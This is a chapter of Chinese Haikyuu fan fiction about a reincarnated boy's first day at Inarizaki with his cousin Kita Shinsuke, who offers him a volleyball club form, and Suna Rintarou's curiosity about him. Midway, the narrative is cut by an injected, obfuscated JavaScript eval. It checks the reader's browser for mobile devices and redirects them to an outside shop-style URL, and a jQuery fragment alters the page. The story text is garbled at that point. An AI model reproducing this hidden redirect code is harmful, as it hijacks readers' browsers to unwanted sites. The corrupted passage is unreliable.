清晨,阳光透过百叶窗打在木制地板上,泛起柔和的一片光晕,房间的床上是一个银发的少年,深色的被子衬得他的肤色白皙到透明,甚至到了苍白的地步。
突然,房间外传来了克制的敲门声。
随着不急不缓的三下声音,北裕介睁开了眼睛,关上床头的夜灯后缓缓直起身子。
这是他住到奶奶家之后第一次去学校,也是他穿越到这具身体后第一次去上学。
虽然北裕介的心理年龄已经接近三十岁了,但是面对原身奶奶带着希冀的眼睛时,还是答应了下来。
至少他看起来只有十六七岁,上学也是应该的,不是吗?
北裕介试图对着镜子里那个和他自己四五分像,又更加清秀的少年笑笑,没笑出来。
他在不喜欢的事情上从来不会难为自己,就没再尝试,转身走出了房间。
“早。”
餐桌旁是一个长相同样清秀的少年,和他有两分像,但是头发的颜色很独特,整体都是漂亮的银色,但是下端有小小的一截是黑色的,整体看起来还算和谐。
这是原身的表哥,比原身大一岁。
“先吃早饭,一会去学校。”
北裕介慢吞吞的点点头,在早饭结束后跟着北信介的脚步来到一所陌生的学校。
稻荷崎。
名字倒是蛮有神性的,北裕介低头迈进校门。
北裕介的班级是高二三班,北信介早早的帮他和老师打了招呼,安排好了位置。
大概甚至还和老师沟通了他不爱说话,他连自我介绍都没做,整个流程都被老师安排了个明明白白。
连同学们对转校生的好奇也被他冷淡的态度挡了回去。
一上午过后,北裕介怏怏的趴在桌子上,面上难得有了一些表情。
老师的关西腔太重了,要费点劲才能听懂,他现在又懒得费劲,所以一直处于灵魂出窍的状态。
就是不知道能不能窍回他原来的身体里,毕竟原身的亲人对他都很关心,要是发现自己的亲人变成了一个陌生人不知道会有多伤心。
果然他在哪都是多余的人。
班级里的人都成群结伴的去吃完饭了,所以北裕介肆无忌惮的在座位上发呆。
直到北信介曲指敲了敲他面前的桌子。
“去吃饭?你早上忘记带便当了。”
面前的便当脸包装都很严实,一看就是精心准备的,还有很大的可能性是年迈的奶奶准备的。
北裕介顺从的站起身,跟着北信介来到食堂。
食堂比他想象中要热闹的多,入耳都是上扬的尾音,叽叽喳喳的吵得他头疼。
所以哪怕饭菜出奇的合胃口他也没吃进去多少。
北裕介悄悄的放下餐具,看着对面干干净净的便当有点心虚,浪费粮食了啊。
北信介这几天和他的交流很少,更是没有说过一句重话,为什么他总有种会被批评的感觉呢……这就是血脉压制吗?
北裕介张了张嘴,想说点什么,被突如其来的一阵打闹声吓了一跳,到了嘴边的话又咽了下去,循着音源看过去。
是一对双胞胎,全身上下只有头发颜色不一样,正在扯着领子薅着头发拌嘴吵架。
看起来感情似乎还不错。
北裕介没打算继续看下去,打算转过身收拾便当,余光略过了一双淡绿色的瞳孔。
挺漂亮的颜色,和他朋友以前养的小猫的眼睛是一样的。
硬要说的话,这双眼睛更有灵性一点。
他又偏过头,想要再仔细看看,可惜的是人群杂乱,没找到。
北信介注意到他的动作,一边继续收拾一边说道:“那是社团活动的学弟,性格比较活泼。”
确实挺活泼的,北裕介深以为然的点点头。
不过北信介没有结束这个话题的意思:“稻荷崎的排球社团氛围还挺不错的,医生说你要慢慢增加点运动量,要不要来排球部?不需要像以前那样,就当放松放松心情。”
他观察着对方的神色,直视着他补上后半句:“你还想打排球吗?”
什么叫他还想打排球吗,北裕介的脊背顺着头皮一阵发麻,像是被电击了一样。
他上辈子从小就开始打排球了,哪怕一直没有什么成绩,在俱乐部也没有当上正选,甚至到后来韧带撕裂半月板损伤,他也要做手术延续自己的排球生涯。
他当然想继续打排球了。
只不过为什么北信介这么问他,原主也是打排球的吗?为什么他一点记忆都没有?
北裕介茫然的看向对面的人。
北信介拿出一张纸递给他:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185101|196998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你再好好想想,裕介应该是喜欢排球的吧?不管怎么样,你的喜欢都是最重要的。”
等到北裕介恢复意识,他已经攥着那张纸坐在教室里了。
看着那张排球入部申请书,他长长的、长长的叹了口气。
“角名?角名?!别发呆了你看什么呢那么入神?”
宫侑皱眉,豪不客气的使劲儿锤了一下好友的后背,顺着他的视线看过去。
明明什么都没有啊。
角名伦太郎这才从刚刚的场景中回过神,他面上神色不改:“在想怎么才能离你们俩远一点,太丢人了。”
“哈?!你再说一遍!!”
角名伦太郎一点都不想和这对笨蛋双胞胎纠缠,他反手背上包:“我去上课了,下午球馆见。”
宫侑在后面喊了两声都没得到回应,用胳膊肘怼了怼宫治:“你觉不觉得角名怪怪的?”
是有一点,不过蠢侑也能感觉到?
宫治转过视线,正想和他讨论一下时就听见了宫侑惊奇的回答。
“今天咱们打架他竟然没有拍照片!!”
宫侑越说越感觉奇怪:“难道是手机没电了?”
宫治沉默了半晌:“可能吧。”
“哎蠢治我是认真的!你看我刚刚打他他都没有损我……肯定是不对劲……”
“嗯嗯对。”
角名伦太郎的手机当然还有电,他只是有点好奇。
北前辈竟然也会和人一起吃饭,还那么细心照顾,餐前擦桌子餐后收拾便当。
亲戚吗?角名伦太郎没有忽略那张和北信介有两分像的脸,头发颜色也很相似。
鬼差神使下,在对视后角名伦太郎避开了他的视线,反而在身后悄悄跟着。
也不算变态吧?他只是想知道他是哪个班级的而已,一点点人人皆有的好奇心而已。
说服了自己的角名伦太郎悄悄的跟在后面,看着那道隽秀的身影走进了一间教室,坐在了角落里。
高二三班,就在他的隔壁班。
离得还蛮近的。
角名伦太郎最后瞥了一眼后排的身影,才状似无意的回到了自己的班级。
身后没有了让人如芒刺背的感觉,北裕介这才抬头向外看,只看见了一道淡黄色的身影,是稻荷崎校服的颜色。